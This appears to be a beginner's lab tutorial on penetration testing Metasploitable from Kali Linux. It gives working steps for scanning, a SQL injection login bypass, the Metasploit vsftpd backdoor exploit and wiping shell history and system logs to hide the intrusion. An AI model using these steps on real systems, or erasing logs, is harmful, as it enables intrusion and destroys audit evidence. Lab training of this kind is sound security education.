🛠️ Hacking Practice Guide: A Step-by-Step Tutorial for Beginners

Hello! 😃 This guide is designed to help you practice hacking in a structured and easy-to-follow way.

Even if you are new to hacking, you can follow this step-by-step guide and complete the exercises successfully. 🚀

---

1️⃣ Setting Up the Practice Environment 🏗️

✅ 1. Installing a Virtual Machine

Hacking practice should be done in a safe, isolated environment, not on a real system.
We will use VirtualBox or VMware to set up virtual machines.

📌 Required Software Downloads:

• VirtualBox: 🔗 Download
• Kali Linux (OS with built-in hacking tools): 🔗 Download
• Metasploitable (Vulnerable practice server): 🔗 Download

Installation Steps:

1. Install VirtualBox.
2. Add Kali Linux and Metasploitable as separate virtual machines.
3. Set Kali Linux as the attacker machine and Metasploitable as the target server.
4. Connect both virtual machines to the same network (Host-Only Adapter).

Now, you're all set! 🎉

---

2️⃣ Information Gathering (Reconnaissance) 🕵️‍♂️

Before attacking a target, we must first gather information about it.
In this stage, we will find the target system's IP address, open ports, and running services.

📌 1. Finding the Target IP Address

Open the terminal in Kali Linux and run the following command:

bash
netdiscover

👉 This will reveal the IP address of the Metasploitable (target) machine.

---

📌 2. Scanning for Open Ports

To check which services are running, we use a tool called Nmap.

bash
nmap -sS -A [Target IP]

👉 This command will display open ports and running services.

💡 Example Nmap Scan Results:

pgsql
PORT     STATE  SERVICE   VERSION  
22/tcp   open   ssh       OpenSSH 4.3  
80/tcp   open   http      Apache httpd 2.2.8  
3306/tcp open   mysql     MySQL 5.0.51  

Now, we know which services (web server, database, etc.) are running on the target system! 👀

---

3️⃣ Vulnerability Scanning (Scanning & Enumeration) 🔎

Now, let's start analyzing the system for vulnerabilities.

📌 1. Checking for Web Server Vulnerabilities

Metasploitable contains intentionally vulnerable web applications.
Open a web browser and visit http://[Target IP].

✅ You will see several vulnerable web applications.
✅ The target we will focus on is "Mutillidae".

Now, let's scan the website for security issues!

bash
nikto -h [Target IP]

👉 Nikto will automatically detect security flaws in the web server.

---

4️⃣ Exploiting Vulnerabilities (Exploitation) 💥

Now, let's perform an actual attack.
We will try SQL Injection (database attack) to bypass login authentication.

📌 1. Bypassing Admin Login with SQL Injection

1. Open the Mutillidae website.
2. Find the Login page.
3. Enter the following credentials:
   • Username: ' OR 1=1 --
   • Password: (Leave empty)

👉 Click "Login," and you will successfully log in as an administrator! 🎯

This attack technique is called SQL Injection, where poorly protected web applications allow unauthorized access to the database.

---

5️⃣ Privilege Escalation 🚀

Now, let's go beyond web hacking and gain root (administrator) access to the target system.

📌 1. Exploiting a Vulnerability with Metasploit

Open the terminal in Kali Linux and start Metasploit:

bash
msfconsole

Once Metasploit is running, enter the following commands:

bash
use exploit/unix/ftp/vsftpd_234_backdoor  
set RHOSTS [Target IP]  
set PAYLOAD cmd/unix/interact  
exploit

👉 Success! You now have access to the target server! 🎉

Now, you can execute further attacks inside the system.

---

6️⃣ Covering Tracks (Hiding Evidence) 🕶️

Just because you've hacked into a system doesn’t mean your job is done!
To avoid detection, you need to erase logs and hide evidence.

📌 1. Clearing Command History

bash
history -c

📌 2. Deleting Log Files

bash
echo "" > /var/log/auth.log
echo "" > /var/log/syslog

Now, no one will know that you were ever there! 😎

---

7️⃣ Final Steps: What to Do After Hacking Practice 📝

✅ Reset your virtual machine after each practice session!
✅ Always practice in a legally authorized environment.
✅ Use your knowledge to improve security, not to harm others.

Now, you’ve learned the basics of hacking! 🎉
If you want to go deeper, explore web hacking, system hacking, and network hacking topics.

🔥 Want to try more advanced hacking exercises? Stay tuned for the next tutorial!